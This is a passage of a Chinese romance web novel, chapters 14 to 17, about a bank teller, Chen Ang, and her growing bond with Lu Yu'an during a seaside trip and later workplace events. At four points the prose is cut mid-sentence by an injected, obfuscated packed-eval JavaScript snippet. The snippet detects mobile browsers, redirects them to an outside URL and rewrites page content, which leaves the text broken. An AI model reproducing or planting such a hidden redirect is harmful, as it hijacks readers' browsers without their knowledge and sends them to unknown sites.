陈盎想到她说的地点离陈小滨单位很近,于是打电话给陈小滨,可没人接。 小曾的车已经在路边摁喇叭,陈盎只好先上车,过了十几分钟,接到陈小滨的电话问怎么了,得知他今天有事不在单位,便也没说什么。 齐馨倒发了一条微信:“姐妹别担心,那谁原来是个弱不禁风的小白脸,感觉我一拳头都能砸死他。放心,我不会冲动的,会留他一条狗命!” 听她这样说,陈盎便放心地随同事们出差了。 临城到温城,走高速路大约一个小时。 温城靠南靠海,气候更加温和湿润。一路上,途经临城乡镇,又穿过了市中心,每座城都有自己的特色,但因为地域相近,又不可避免地带上一丝相似感。 他们去的这家工厂在东部海边,需要穿过温城城区,驶离高速后,还要再开四十分钟。到达时,已经接近中午。 大家没有先去吃饭,而是立刻搬出机器,哐哐干活。 四个人,办两三百张卡,时间还是很紧张的。 三个小时后,终于完成任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925108|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务,已经下午两点。几人办卡办得头晕眼花,结束后,才发现肚子已经饿得咕咕叫。 “金塘镇挺有特色的,海鲜超级多,还特新鲜。对了,咱们吃完饭可以去那个网红景点打下卡,就在附近,好像叫什么彩虹村。”小曾建议。 大家欣然同意。 找了当地一家特色饭馆,陈盎坐下时想起入职培训时的同桌姜沫,就是温城金塘镇本地人,可以问问她有什么特色菜。 姜沫很快回复微信:“小盎啊,你来金塘了怎么不和我说一声,发个定位,我今天正好休息,来接你玩。” 陈盎:“和同事一起来开卡,等会儿就回去了。” 姜沫道:“别啊,好不容易来一趟,和你们领导说一声调班呗,今晚住我家的民宿,不要钱。” 金塘镇是温城着重打造的旅游区。不同于临城走的千年文化底蕴之路,它有着得天独厚的自然风景,毗邻大海,背靠青山,当然,也通过人工打造了一些例如彩虹村的网红景点,每年都会吸引好大一批游客,带动了本地民宿的发展。 陈盎知道,姜沫家就经营着一家不错的民宿,每到旺季,生意很好,她是一个实打实的小富婆。 刚吃完饭,姜沫就骑着小电驴到门口接她了。 陈盎明天本来就不上班,和主办会计说了一声,两拨人兵分两路。 陈盎接过头盔,跨上小电驴后座,抱住她的腰,姜沫车速不快不慢,带着她穿过熙熙攘攘的街头,开到了一条蜿蜒向上的山路。 山路是休憩过的,用一块一块拳头大小的,青色、紫色的岩石铺就,年头久了,一些已经开裂。 小电驴有些颠簸,姜沫放慢了速度。 陈盎转头打量四周的景色,斑驳日光被树枝割成一片一片,像镜子碎片,散落在青石上,反射出温和的光。 隐隐约约还能听到海浪拍岸的声音。春季的海风略带凉爽,却没有一丝海腥味,只有一股淡淡的咸味,比海盐香水好闻多了。 陈盎和姜沫的头发都在往后飞舞。 陈盎拨了拨她的头发,姜沫一路上都在叽叽喳喳地说话,时而问这里景色好不好看,时而问在支行过得怎么样。 陈盎也有很多话说。 片刻后,来到一处稍急的地势。 小电驴带着人不好直接上坡,姜沫停下车往上推,陈盎在后面帮忙扶着一起推车。 走得慢,装入视野的东西更加清晰。 山间依稀散落着一些古老的房子,都是用大块石头堆砌建成,和路上的石头颜色有点像,紫色、青色、绿色,间杂着,像一幅色彩鲜明的油画。 “这些房子好漂亮。”陈盎夸赞道。 “是吧,我们这儿的特色石头房。不过很老了,上个世纪的,以前村里的普通老百姓住,现在没人了,但政府也不让拆,保持原汁原味的特色嘛。山上还有一座地主的老宅,被修成景点了,等会儿带你去看。” 两人慢慢走着,到了平坡,姜沫骑上小电驴,见陈盎没上来,回头问:“小盎,你看什么呢?” 顺着陈盎的视线,姜沫看见一幢二层石头房,以为她感兴趣,介绍道:“哎,这户人家在我们这儿很有名,房子风水超好,原来的主人据说已经大富大贵了,不过他们家很久没人回来,我也是听爸妈说的。” 他们站的位置在高处,可以俯瞰到石头房的院子里。 陈盎指了指,道:“可现在里面有好几个人。” “诶,还真是。” 院子里,七八个男女进进出出忙活着,有的在洒扫,有的在搬东西,有的在除草。这么多人中,陈盎一眼锁定了其中一个高峻的。 恰好,那人仿佛心有灵犀,抬头往她们的方向看来。 15. 第十五章 第十五章 陈盎赶紧缩回头。 好险。 应该没被发现吧? 姜沫好奇:“小盎,怎么了?” 陈盎摇了摇头,坐上小电驴后座,催促道:“没什么,赶快去你家吧,我有点累了。” 姜沫带着她一路稳稳当当地来到了民宿。 她家民宿位置很好,一推开玻璃落地窗,似乎就能和汹涌的浪花迎面亲吻。一楼有个篮球场大的蓝色无边游泳池,二楼有个延伸出去的玻璃露台。 装修风格清新古朴,几面墙刷了白色油漆,几面墙保持原汁原味的黄褐色岩石块。大堂里还设了一个咖啡吧台。 姜沫带她参观了一会儿,陈盎夸赞道:“好漂亮啊,怪不得你家生意这么好,小富婆。” 姜沫摆摆手道:“嗐,我家生意也不是最好的。有些村子统一运营,每月给租金或者分红两种模式由村民自选,经营得好的可比我家赚得多多了。” 陈盎羡慕道:“要是我也这么有钱,上班就没那么痛苦了。” 五月并不是金塘旅游的旺季,人不多。 坐在姜沫的小电驴后座,陈盎去看了清朝时期地主家的老宅,去网红的彩虹村拍照打卡,去细腻如金的沙滩任由海浪吻过脚背,还看到远处的半山腰平地有一排长方形的太阳能发电板,正兴致冲冲地想去看一看高科技,结果姜沫告诉她,这些都是村民晒咸鱼的木板。 再回到民宿时天色已经很黑了。 在房间躺了一会儿,姜沫喊她下楼吃饭。 姜妈妈煮了许多当地的特色菜,炒海螺肉、家烧带鱼、炸鳗鱼几、炒绿豆面、肉羹、山粉夹、蒸肉圆,主食做了姜汁索面和蒸年糕。 姜妈妈说道:“沫沫,刚入住的几位客人估计还没吃饭,你打客房电话问问,要不要在这儿吃,咱们今天的菜免费。” “好咧。”姜沫去前台拨电话。 陈盎坐在餐桌边,低头打字问齐馨今天什么情况,可对面久久没回复,等一抬头,看见楼梯上走下来几个人,打扮眼熟,正是今天下午那座小院里看见的。 陈盎和陆屿安的视线撞了个正着。 双方相互一愣。 接着,陆屿安迈着长腿,坐到了她旁边。 姜沫看出两人的神情不对,问:“小盎,你俩认识啊?朋友?” 陈盎想了想,点头。 姜沫道:“这也太巧了吧,原来你在温城不止我一个朋友哦。” “我们也是从临城来的。”陆屿安开口。 “哦?” 饭间,两拨人边吃边聊天,陈盎得知,今天下午看见的石头房小院,原来是陆屿安家的祖宅,他爷爷年轻时曾居住在这里。算起来,和姜沫家往上几代还是同一个祖宗。 自从上次老街一别后,陈盎和陆屿安已经很久没说话,一顿饭后,两人关系倒是稍微缓和了点。 陈盎想帮姜妈妈一起收拾碗筷,姜沫却推开她,推荐他们去二楼的露台看星星。 和陆屿安一同前来的几人纷纷说太累了,要回房休息,于是就剩下了陈盎和陆屿安。 陈盎本来不想去的,但陆屿安站在楼梯口,回身看她,仿佛在等她。 姜沫撞了撞陈盎的肩膀,往她手里塞了两杯咖啡,道:“小盎,快去吧,景色难得,人也很难得哦。” “我不是……”陈盎想解释,却被姜沫推到了陆屿安面前。 陈盎递给他一杯咖啡,陆屿安接过,道:“一起去吗?” 陈盎道:“嗯。” 二楼的露台用钢架搭建,玻璃铺就。坐在边缘的位置,双脚悬空,脚底是蓝色无边泳池,从这个角度看去,泳池似乎连接着无边无际的大海。海浪是黑蓝色的,头顶的星空也是。 山野灯光很少,只有沿海而建的一号公路依稀点亮路灯,照映着港口的渔船。五月刚进入休渔期,俯瞰下去,渔船停得密密麻麻、整整齐齐,在黑夜里有一股士兵站岗般的、庄严的静谧感。 月亮很亮、很圆。 漫天星子。 陈盎先开口问:“所以,你这次回金塘,是为了陆奶奶?” 陆屿安嗯一声,道:“她想来住一段时间,我先带人把地方收拾干净。不过也不全是因为她。陆氏在这边投了个旅游项目,需要我来看看。” 陈盎想到他之前常来温城出差,估计也是这个原因。 陆屿安问她:“什么时候回临城?” 陈盎答明天。 陆屿安:“好不容易来一趟,怎么不多玩几天。” 陈盎倒是想!苦着脸道:“因为后天要上班啊。” 陆屿安同情地看了她一眼。 陈盎觉得他的表情很欠揍,努力按捺住怨气,问:“那你呢,什么时候回临城?” “明天吧,送你回去。” “我可以自己回去。” “顺路而已。”陆屿安斜睨她一眼,问,“第一次来温城吗?” 陈盎喝了口咖啡,点头:“是啊,以前一直在上学,没空出去玩。后来上班了,我爸妈又不放心我和朋友一起出来玩,今天还是先斩后奏。” 陆屿安嘲讽道:“没想到,你还是爸妈宝女。” “陆屿安!”陈盎气得直呼其名,想反驳,却又觉得他说得对。从小到大,一直被夸很乖很听话,这就像一顶高高的帽子,套住了她。可是,又带给了她什么呢? 陆屿安见她低头不说话,道:“陈盎,开个玩笑而已,你不高兴我下次不说了。” “没。”陈盎抬头,望向星空,道,“我觉得你说得对。”刚才是她破防了。 陆屿安道:“女孩子出门的确要上心一点。你父母也是关心你,不要放在心上。” “不是这样。”陈盎道,“这些出来玩的事,他们的担心我当然能理解。我只是突然回想起来,从小到大,我好像一直没什么主见。说得难听一点,就像一只提线木偶,没有自己的想法,没有自己的爱好,没有自己的方向,没有自己的坚持。” 这种感觉压在心底很久了,但被包裹起来,今天陆屿安的话就像一根针戳破了外皮,里面的东西溢了出来。 陈盎第一次觉得,自己应该正视这个问题。 一旁,陆屿安突然伸手,揉了揉她的头发:“你很好,不要多想。” 陈盎一巴掌拍掉他的手:“我在很认真地说!就问你,小的时候,你爸妈会逼你吃什么东西,穿什么衣服,长大了,又会逼你学哪个专业,找什么样的工作吗?” 陆屿安摸着被拍红的手背,认真回忆了下,道:“不知道。我和他们不熟,他们太忙了,我是被我奶奶带大的。” 陈盎觉得,他们俩个确实无法共情。 出身不同,人生轨迹也不同。普通人有普通人的烦恼,有钱人也有有钱人的无奈,陆屿安小时候是不是很缺父爱母爱? 于是陈盎问了下。 陆屿安却道:“不至于,就是偶尔会羡慕别人家的小孩有父母陪伴。不过,他们也很羡慕我有各种各样全套的玩具。陈盎,没有谁的人生是完美无缺的,你一样,我也一样。容许人生中有瑕疵,心态会放松很多。” 陈盎微微弯腰,手肘搁在膝盖,双手托腮,长叹一口气,说道:“陆屿安,没想到你这种人也会说出这么有哲理的话。” 陆屿安黑脸:“我是哪种人?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932189|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈盎毫不犹豫道:“恶毒的资本家。” 陆屿安:“……” 陈盎问:“对了,你家在这边投了什么项目,不会是民宿吧?我听姜沫说过,有些是村里统一运营,有些是交给集团运营,不会就是你家吧?” 陆屿安道:“当然,我这种恶毒的资本家不会放过任何一个吸血的机会。” 他站起身要走,陈盎也跟着站起来:“开个玩笑而已,你不至于生气吧。” 夜雾落在玻璃上,有些打滑。陈盎刚一站起来,脚下一滑,居然往后跌去。 泳池的水带着寒意,钻入鼻腔口腔。 陈盎呛了水,正挣扎着,下一秒,旁边响起“嘭”的落水声。 陆屿安把她从水里捞了起来,托到泳池岸边。 陈盎坐上泳池边的瓷砖上,手掌按着胸口大口呼吸,只见陆屿安还站在水里,幸亏腿长,水只蔓延到腰部。 陈盎连忙伸手:“你快上来啊。” 陆屿安默不作声地把手搭在她手上。 两人浑身湿漉漉,头发也湿透了,黏在侧脸。陆屿安抓着陈盎的手,突然用力一扯,又把她拉回泳池里。 不过他稳稳扶住了她。 陈盎不至于跌倒,而是以一种极其暧昧的姿态靠在对方的怀里。 陈盎回过神,忍不住骂:“陆屿安,你是不是有病?” 陆屿安道:“会救你的,应该是善良的人。我这种恶毒资本家,就该像现在这样。” 陈盎忍住翻白眼的冲动,给他竖了个大拇指:“好好好,你最善良,人美心善,是世界上最大的大好人,行了吧?” 陆屿安松开手,往后退几步,认真看她问:“我好,还是你那个叶学长好?” 陈盎:“……” 陈盎不回答,默默爬上泳池,然后转身,给跟在后面也想爬上来的陆屿安一脚,道:“你们都不好,我才是世界上最好的人!” * 回到房间,洗了个澡,姜沫在外面敲了敲门。 陈盎打开,只见她端着一杯姜茶,姜沫走进来,盯着她把姜茶喝完。 陈盎擦了擦嘴,问:“沫沫,你怎么知道我掉泳池里了?” 姜沫道:“当然是陆先生和我说的了,让我帮忙烧壶姜茶送给你去去寒。” 陈盎正想问什么,姜沫摆摆手道:“别担心,我也给他送了一杯。” 陈盎道:“我没担心。我干嘛要担心他。” “行行行,不担心。”姜沫坐到床边,说道,“怪不得我看那个陆先生很眼熟,还以为是帅哥都长一个样的缘故,给他送姜茶的时候突然就想起来了,几年前见过呢。” 陈盎喝完姜茶,浑身暖和不少,在她旁边坐下,问:“几年前?” “是啊。我们这边民宿刚开始发展的时候遇到了瓶颈期,网红热度的褪去、质量的参差不齐、服务的不到位,曾经还亏钱了一段时间。后来政府招商引资,引进专业的商业团队,把各种资源整合,路也修起来了,宣传做得更广泛,我和我爸妈还去免费听了一节课,就那时候见的陆先生。他当时讲课的题目,好像叫什么……旅游经济可持续发展来着,反正,我家学到了不少经营窍门呢。” 姜沫在她眼前挥了挥手:“小盎,在想什么呢?” 陈盎回神,道:“没想到陆屿安还会讲课。” 姜沫掩嘴笑道:“人陆先生挺好的呀,会的东西多着呢。而且人家还很有爱心。” 听她又说了一些事,陈盎道:“行吧。” 下次不说陆屿安坏话了。 比起恶毒的资本家,有爱心的乡村霸总,或许更适合他? 不错不错。 16. 第十六章 第十六章 “咱们支行至少在城区,不知道有多少人盯着想来。那些被分在偏僻乡镇的同事,家住在城里,光开车就要一小时,每天通勤太麻烦了。” “我听说啊,去年一个新来的小姑娘,才上了一天班就辞职,总行本来想调一个男生过去补缺,觉得男的能吃苦,谁知那男生提前得知了这事儿,连夜跑路。” “这么夸张?” “对啊,现在年轻人整顿职场,一言不合就辞职,可不像我们以前。” “那这么说来,我运气很好了。” 柜员每三个月轮岗至大堂,这个月刚好轮到陈盎。 陈盎非常喜欢这个岗位,不像坐柜那么忙,责任也没那么重,卷帘门下班她也下班,下午还有大把的时间和大堂经理小毛讲白搭。 小毛入行快十年,和她讲了很多八卦,也有许多感慨:“现在工作这么难找,你刚毕业就能考上咱们行,已经很优秀。不过银行这碗饭越来越不好吃了,像你这种正式工还好,虽然累拿的钱也多,但你看派遣工他们,干着一样的活儿,钱却只有你们三分之一,很多福利享受不到,任务完不成扣钱却一样。” 陈盎有所耳闻,点点头:“确实不太公平。不过我听说派遣工每年有转正的名额,技能考试排名靠前的几个可以转。” “对啊。他们还有点希望,最惨的是我们这种外包,连个转正的机会都没有。”小毛叹了口气,“银行智能化发展很快,大银行早就开始,我们这种小银行已经算慢的了,以后柜台削减,智柜机增加,你们正式柜员出来当大堂,我们这些外包大堂就可以走人了。” 陈盎安慰道:“不至于吧,真有那么一天,感觉会全员转客户经理。” 小毛苦笑道:“我明年就满三十五岁,现在一个月拿三千多的工资,要不是老公收入还可以,根本没办法养家养娃。我觉得我该自谋生路了。” 陈盎疑惑了一声:“你是有打算了吗?” 小毛压低声音道:“我上周刚提交了辞职报告,最迟这个月底走,最快等新来的大堂经理过来,就可以走了。” 陈盎瞪大眼睛:“怎么这么突然?” 小毛道:“不突然,早就不想干了,就行长、主办会计,还有你知道,别说出去啊。我老公要去外地做生意,我跟着一块去呗,总不能分居两地。” 少了这么一个熟练又知晓各种八卦的白搭搭子,陈盎有些舍不得,开玩笑道:“以后别断了联系啊,对了,我可以拉你存款吗?” 小毛翻了个白眼,道:“小盎啊,这么努力做什么,银行太累了,找个好老公嫁了吧。” 陈盎不是很认同小毛这种观点,但不得不说,小毛是有先见之明的,或者说消息实在太灵通了。 月底,城南支行被敲掉一个柜台,又安装了一个智柜机。总行突然下达文件,对派遣工进行末位淘汰。 就像一颗石子投入平静湖面,激起了微微波澜,有些人下定决心趁机离职,有些人更加努力练习技能,希望能抓住三十五岁的尾巴转正。 陈盎没多大感觉,正忙着教新来的大堂经理操作智柜机。 虽然自己上班才半年,但面对更年轻的、眼睛里充满清澈的愚蠢的应届生,陈盎觉得自己一定要支棱起来,这个大堂没她不行! “小盎姐,为什么不能帮客户操作?用笔戳屏幕告诉他们点哪里,和我们直接帮忙不是一样的吗?” “小盎姐,支票怎么填?大写的二是一横还是两横?” “小盎姐,大堂都没客户了,我们为什么不可以点奶茶喝?” “……” 张宁宁问题很多,陈盎从她身上似乎看到了半年前自己的影子。 因为那时候,言欣欣和小曾看她的眼神,和她现在看张宁宁的眼神都是一样的。 像在看一头猪。 * 陈盎回到家,刚躺下,接到了齐馨的电话。 她很郑重地告诉陈盎,自己要在老城区租一个小小的店铺,开一个线下红娘馆。 “就那个算命一条街的位置,你帮我留意留意,有没有出租的店面。我这边看对眼一对,正好推荐他们去隔壁合八字,多方便省事!” 那条街离老街不远,多是老房子,但临近购物中心,人流量不少。 陈盎说道:“这边租金不算很贵,但是一个月四五千要的吧,而且合同一签要一年,水电费加起来可能要五六万。你有存了这么多钱吗?” 齐馨道:“我没有,但我的合伙人有。” “合伙人?” “就上次掐架的那小白脸。我想清楚了,与其两败俱伤,不如合作发财。我俩把手头上有的资源互相分享,扩大客户群体,增加匹配概率,开线下店也是为了提升客户信任度,而且能吸引一波操心儿女婚事的中老年客户。所以店面不需要太大,能挂个招牌就行。” 陈盎没想到齐馨掐架还能掐出个合伙人,也不管她看不看得见,竖了个大拇指:“齐小馨,你是好样的,活力度拉满,真羡慕。” 齐馨道:“你也先别烦,等姐们儿赚大钱了,你的任务我包了。” 陈盎苦笑道:“那还是算了。工作折磨我一个就可以了,别给你拉下水。” 好朋友不能牵涉到金钱,也不是用来转移压力的,她始终坚持这点。 睡了一觉,第二天一早,陈盎恢复活力,阳光满满地去上班。 毕竟行里还有一个张宁宁嗷嗷待哺。 最近城南支行处于业务淡季,上午十点多,大堂里已经没什么客户,陈盎让张宁宁先去吃饭。 刚给审核用的平板充上电,门口忽然冲进来一个年轻男生。 陈盎以为是来办事的客户,上前问:“你好,需要办理什么业务吗?” 年轻男生却有些精神恍惚,不答话,嘴里不停喃喃道:“张宁宁呢,张宁宁呢,不是说在这儿上班吗?” 陈盎问:“你是她朋友吗,找她什么事?” 年轻男生好似没听到她的话,像游魂一样飘了出去。 奇奇怪怪的人。 陈盎已经见怪不怪。 大堂里上周闯进一个喝醉酒的中年男人,边嚎啕大哭边抱着保安大叔不松手,上个月一个客户带来的小孩不想上学藏到厕所一下午,查了监控才发现。 陈盎没有多想,锁好平板后也去食堂吃饭。 张宁宁正好和她错开。 等陈盎吃完饭回到大堂,发现一团乱。保安大叔和小曾正死死按着刚见过的年轻男生,而张宁宁满头血地躺在地上,旁边散落着一块沾血的板砖。 行长和几个客户经理在楼上午休,听到动静都跑下来了。 主办会计用毛巾摁住张宁宁头上的伤口,道:“我已经报警了。咱是给她送医院还是叫救护车啊。” 张宁宁神智尚清,伸出一只手,还在坚强地说道:“我没事,去卫生院处理下就行。” 行长道:“送医院送医院,我开车,小陈一起去。” 陈盎忙道好的。 好在最近的医院不远,七八分钟到了,张宁宁头上的伤口不大,缝了几针,因为是被砖头砸的,医生建议做个全面检查,看看有没有脑震荡之类。 陈盎和主办会计陪着她,一阵忙活下来到下午三点多了。主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946767|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办会计还要去接娃放学,陈盎主动承担起了照顾张宁宁的任务。 张宁宁很过意不去,上班第一周就惹出这种祸事,哭着道歉。 他们银行很小,一点风吹草动所有人都知道了,张宁宁的事情很快传遍整个行,有的支行员工在微信上和陈盎打探消息,有的消息甚至比陈盎还灵通,告诉了她整件事情的来龙去脉。 陈盎知道不是张宁宁的错,好言好语安慰她。 张宁宁哽咽道:“果然不被父母看好的感情都是不值得的。我和他是大学同学,谈的时候也没发现这人有暴力倾向,就是抠了点、自负了点、计较了点,毕业时我提的分手,他当时跪在地上求我,那么多人看着呢,我那时有点心软,但想到父母激烈反对,还是狠狠心分了。没想到他跑单位来堵人,一言不合就拿板砖砸我。我现在根本不敢和父母说。” 陈盎道:“还好你及时看清了这男的真面目,要是真结婚了,那才是完蛋。” 张宁宁点头:“这种男的进去了,就不该被放出来。” 见到晚饭点,陈盎问了她想吃什么,自己下楼去买饭。刚出电梯,微信上来了消息。 陈盎点开一看,陆屿安约她去吃饭。 陈盎回复:“在医院呢,恐怕去不了了。” 陆屿安发了个问号,问在哪个医院。 陈盎发了个定位,再打字和他说今天中午单位发生的事情,可发出去后,陆屿安久久没有回复。 陈盎将手机揣入兜里,走进医院外边一家连锁快餐店,人很多,排队结账花了十几分钟。等她提着饭菜出来,在医院门口看见了陆屿安。 外面飘着细细的雨丝,他穿了一件单薄外套,身形冷清疏朗,水珠在肩膀上汇聚成一颗颗滚圆的透明晶体。 陈盎不自觉加快脚步,走过去,仰起头看他:“你怎么来了?” 陆屿安挥了挥手里的手机:“刚停车的时候看到了,走吧。” “去哪里?” “看看你的同事啊,来都来了。”陆屿安接过她手里的塑料袋。 陈盎狐疑片刻,问:“你不会是以为我住院了吧?” 陆屿安道:“废话。我又不认识你同事,专门来看她吗?” 陈盎比了个OK的手势:“我下次一定加快打字速度。” 两人一起乘坐电梯,来到病房,张宁宁正暗自垂泪,见门被推开,陈盎和一个陌生高挑的男人一起进来,愣了愣。 陈盎忙介绍道陆屿安是自己朋友,路过这里顺便来看看她。 “看看我?”张宁宁显然有些莫名其妙。 陈盎拿过陆屿安提着的塑料袋,放到小桌子上,取出餐盒一一拆开,转身问他:“吃饭了吗?” 陆屿安摇头。 陈盎给他塞了一双筷子:“还好多点了菜,一起呗。” 陆屿安没有拒绝。 张宁宁头上包裹着纱布,一点胃口都没有,喝了半碗粥,突然抬头道:“小盎姐,什么朋友,明明是男朋友吧?” 陈盎被粥呛到,道:“小孩子别乱讲话,就是朋友,普通朋友。” 陆屿安闻言,抬头深深地看她一眼。 张宁宁却不信,指了指番茄炒蛋,道:“普通朋友会帮你把里面的葱花挑出来吗?真好啊,小盎姐,你看你男朋友,人长得又高又帅,又温柔体贴,还这么有素质,为什么我就遇到恶毒渣男啊。呜呜呜……” 陈盎往她嘴里塞了一个苹果:“都说了不是啊。” 张宁宁摘下苹果,清澈愚蠢地望向陆屿安:“真的吗?到底是不是啊?” 陆屿安放下筷子,缓缓道:“以后是。” 17. 第十七章 第十七章 对陈盎来说,七月发生了很多事。 张宁宁被板砖砸破头一周后申请离职,说自己没法在这里上班了,家里得知这件事后要送她出国留学。 临走前,她拉着陈盎的手,哭得梨花带雨,道:“小盎姐,我好舍不得你,舍不得城南支行,大家都对我很好,给单位添了这么多麻烦,还给我发了半个月工资,整整一千五百块钱呢,我都舍不得花,已经开了个账户存起来,以后遇到困难,看看存折就又有力气了。这可是我毕业后的第一份工作,我很珍惜的!” 另一件事就是,齐馨的红娘馆选了个良辰吉日,正式开业。 陈盎自然去了一趟凑热闹。 红娘馆很小,保持着原装修,掉漆的白色墙面,木板拼接的门面,最上面挂着一个“幸福红娘馆”的招牌。一盏晃悠悠的白炽灯下,摆着一张九十年代的桌子。 和隔壁算命的风格如出一辙。 齐馨戴着袖套,正趴在桌上研究什么东西,听到动静才抬头。 陈盎四处打量,问道:“你怎么也不装修装修?” 齐馨拉了一把椅子,从热水瓶倒了一杯开水给她,掰着手指头细数:“店面要钱,水电费要钱,印传单要钱,网络要钱……要不是我合伙人这个月发了奖金,钱根本就不够。我不得精打细算啊。” 陈盎问:“你这合伙人还在上班啊?” 齐馨点头:“是啊,他出钱,我出力,分工合作发大财!我俩这段时间一有空就乔装成要找对象的客户,去各大相亲机构摸底。现在市面上无非三种模式,第一种是免费介绍,成功了再收费,第二种是先交会员费,按档次分成一二三五万,档次不同给介绍的相亲对象质量也不同,第三种是先交个几百块意思一下,等成功了,再补交介绍费。根据我自己做的市场分析,第三种方式在临城最受欢迎。” 说着,在桌上的资料上画了个圈。 陈盎见她说得头头是道,凑过去看一眼厚厚的资料,夸赞道:“齐小馨,你居然这么认真,我写毕业论文都没这么认真过。这就是二十五岁年龄,七十五年经验的媒婆吗?” 齐馨道:“这算什么。拉客户才是难点,只要手头上的资源够多够丰富,总能配对成功的,而且一传十十传百,会越来越多的人慕名而来。咱们临城不是有一个公园相亲角吗,我约了合伙人,等明天他休息时一起去那里拉资源。” 陈盎竖起大拇指:“开封有王婆,临城有齐婆!” * 又一周过去,陈盎没想到,这么快就能为齐馨的事业添砖加瓦。 这天刚下班,接到齐馨的电话,说要举办一场线下交友活动,缺好几个男生,让她帮忙拉人。 陈盎先想到了陈小滨,但他说要值班。 又去联系了小曾,说有一场说走就走的旅行。 陈盎想来想去,去微信上戳了陆屿安。 陆屿安:“?” 陈盎道:“就当郊游了,我朋友说在溪望谷,那边不仅风景好看,还有户外烧烤、羊驼、好大一片茶园,咱们一起去看看?” 陆屿安:“好。” 终于搞定一个。 陈盎又去询问了几个单身的年轻男同事,一共拉了三个人。 活动这天,陆屿安先来老街接的陈盎,两人一起出发。 溪望谷位于临城郊区,山水皆美,近年来当地政府整合资源,因地制宜进行开发,自然美景、乡野体验令其成为临城新晋的一个网红打卡地点。 陈盎打开车窗,湿润的风拂过长发,耳边传来水流的轰鸣声。 这一段路,入眼有飞流直下的水瀑、一望无际的七彩稻田、粉墙黛瓦的古村落。和老街相比,多了一份原生态的宁静感。 陈盎伸出手,想去接水瀑飘来的小水珠。 陆屿安看她一眼,忽然笑了笑。 陈盎立刻扭头:“你笑什么?” 陆屿安道:“没什么,你听错了。” 陈盎道:“你刚刚就是笑了,嘲笑的笑。” 陆屿安道:“没在笑你。” 陈盎道:“如果不是笑我,那刚刚为什么否认在笑?” 陆屿安:“……” 道路四通八达,车很快开到目的地。 齐馨选的地方是一家叫做“阳光草地乐园”的户外烧烤园,他们到的早,没几个人。园子用竹篱笆围起来,占地很大,热烈的阳光,绿得发光的草地,放养着四五只羊驼。 生机勃勃,和园名格外符合。 齐馨拿着两张签到表,让他们签到,顺便建议去其他地方逛一逛,户外烧烤下午四点半开始。 陈盎便和陆屿安一起漫无目的地在四周逛了逛,发现这里开发得的确不错,除了吃喝玩乐的项目,还有微型图书馆、名人纪念堂、手工木雕店等,一条人不多的路上甚至晒了好多手工米面,几个阿公阿婆正在干活。 陈盎边走边拍了很多照片,看到附近一个建筑物时,眼睛一亮。 “帮我合影一张。”把手机塞给陆屿安,蹭蹭地跑过去。 陆屿安目送她跑到一块写着“沿溪村茶园共富工坊”的石头边上,问:“这里有什么特别的吗?” 陈盎摸着石头上的字,说道:“共富工坊,去年申论就考到了,我今天遇到就是很好的寓意啊,说明会上岸。” 陆屿安蹲下给她拍照,问:“你要考公务员?” 陈盎见他拍好了,又跑着折返回来,道:“对啊,不行吗,你觉得我考不上?” 陆屿安想了想,道:“你这么聪明,做什么都会成功的。” 虽然他犹豫了片刻,但说出来的话陈盎爱听,看这人不由顺眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949393|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了,路过一条小溪时,遇到好几个游客脱了鞋子坐在岸边,任由溪水漫过脚背,陈盎便也去试了试,冰冰凉凉的果然很舒服,拉上陆屿安一起。 过了一会儿,见时间差不多了,陈盎准备回去和齐馨汇合,陆屿安拿着她的鞋子走过来,蹲下身,要帮她穿上,陈盎忙夺过自己的鞋,道:“我自己来,自己来!” 陆屿安抿了抿唇,有些不高兴地站起身。 夕阳将他的身影拉得长长,像一片乌云遮住了陈盎。她穿好鞋子,站起身道:“快四点半了,我们去烧烤园吧。” 陆屿安低低嗯了一声,在她身后走得很慢。 陈盎顿足转身,伸手拉了拉他的衣角,道:“快点啦,这种蜗牛的速度走回去,要跟着你一起吃残羹冷炙了。” 两人回到烧烤园,人已经很多,男男女女加起来得有四五十个。 其中一个褐色卷发,打扮时尚,脸长得洋娃娃般的女生格外惹眼。 